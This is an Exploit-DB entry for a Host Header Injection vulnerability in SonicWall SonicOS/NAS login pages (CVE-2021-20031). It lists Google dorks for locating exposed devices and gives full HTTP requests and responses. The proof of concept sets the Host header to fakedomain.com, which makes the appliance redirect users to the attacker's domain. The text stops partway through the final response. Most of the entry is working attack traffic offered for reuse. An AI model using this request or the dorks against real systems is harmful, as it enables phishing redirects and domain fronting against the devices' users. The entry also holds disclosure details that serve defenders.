Exploit-DB #50414
Description: Sonicwall SonicOS 7.0 - Host Header Injection
Type: webapps
Platform: hardware
Date: 2021-10-13
Author: Ramikan

Exploit:
# Exploit Title: Sonicwall SonicOS 7.0 - Host Header Injection
# Google Dork: inurl:"auth.html" intitle:"SonicWall" 
#                        intitle:"SonicWall Analyzer Login"
# Discovered Date: 03/09/2020
# Reported Date: 07/09/2020
# Exploit Author: Ramikan 
# Vendor Homepage:sonicwall.com
# Affected Devices: All SonicWall Next Gen 6 Devices
# Tested On: SonicWall NAS 6.2.5
# Affected Version: All SonicWall Next Gen 6 Devices till 6.5.3
# Fixed Version:Gen6 firmware 6.5.4.8-89n 
# CVE : CVE-2021-20031
# CVSS v3:5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
# Category:Hardware, Web Apps
# Reference : https://github.com/Ramikan/Vulnerabilities/

*************************************************************************************************************************************

Vulnerability 1: Host Header Injection

*************************************************************************************************************************************
Description:
A Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages.
An issue was discovered in Sonicwall NAS, SonicWall Analyzer version 8.5.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack

Impact:
Host Header changed to different domain (fakedomain.com).
Fakedomain.com can be found in two lines in the HTTP response, below are the two lines.

var jumpURL = "https://fakedomain.com/auth.html";
ease be patient as you are being re-directed to <a href="https://fakedomain.com/auth.html" target="_top">a secure login page</a>

*************************************************************************************************************************************
Normal Request
*************************************************************************************************************************************
GET / HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

*************************************************************************************************************************************
Normal Response
*************************************************************************************************************************************
HTTP/1.0 200 OK
Server: SonicWALL
Expires: -1
Cache-Control: no-cache
Content-type: text/html; charset=UTF-8;
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' blob: data: ws: wss: sonicwall.com *.sonicwall.com;

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
++++++++++++++++++snipped+++++++++++++++++++++++

</head>
<body class="login_bg">
	<div class="login_outer">
		<div class="login_inner">
			<div class="vgap48"></div>
			<div class="login_logo">
				<img src="logo_sw.png">
			</div>
			<div class="login_prodname">
				Network Security Appliance
			</div>
			<div class="vgap48"></div>
			<div class="login_msg_header">
				Please be patient as you are being re-directed to <a href="https://192.168.10.1/auth.html" target="_top">a secure login page</a>
			</div>
			<div class="vgap24"></div>
		</div>
	</div>


</body>
</html>
*************************************************************************************************************************************
POC 
*************************************************************************************************************************************

Host Header changed to different domain (fakedomain.com).
Fakedomain.com can be found in two lines in the response, below are the two lines.

var jumpURL = "https://fakedomain.com/auth.html";
ease be patient as you are being re-directed to <a href="https://fakedomain.com/auth.html" target="_top">a secure login page</a>

*************************************************************************************************************************************
Request:
*************************************************************************************************************************************
GET / HTTP/1.1
Host: fakedomain.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Upgrade-Insecure-Requests: 1
Connection: close
Cookie: temp=

*************************************************************************************************************************************
Response:
*************************************************************************************************************************************

HTTP/1.0 200 OK
Server: SonicWALL
Expires: -1
Cache-Control: no-cache
Content-type: text/html; charset=UTF-8;
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' blob: data: ws: wss: sonicwall.com *.sonicwall.com;

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<meta http-equiv="Content-Type" content="text/html">
<title>Document Moved</title>
<meta name="id" content="docJ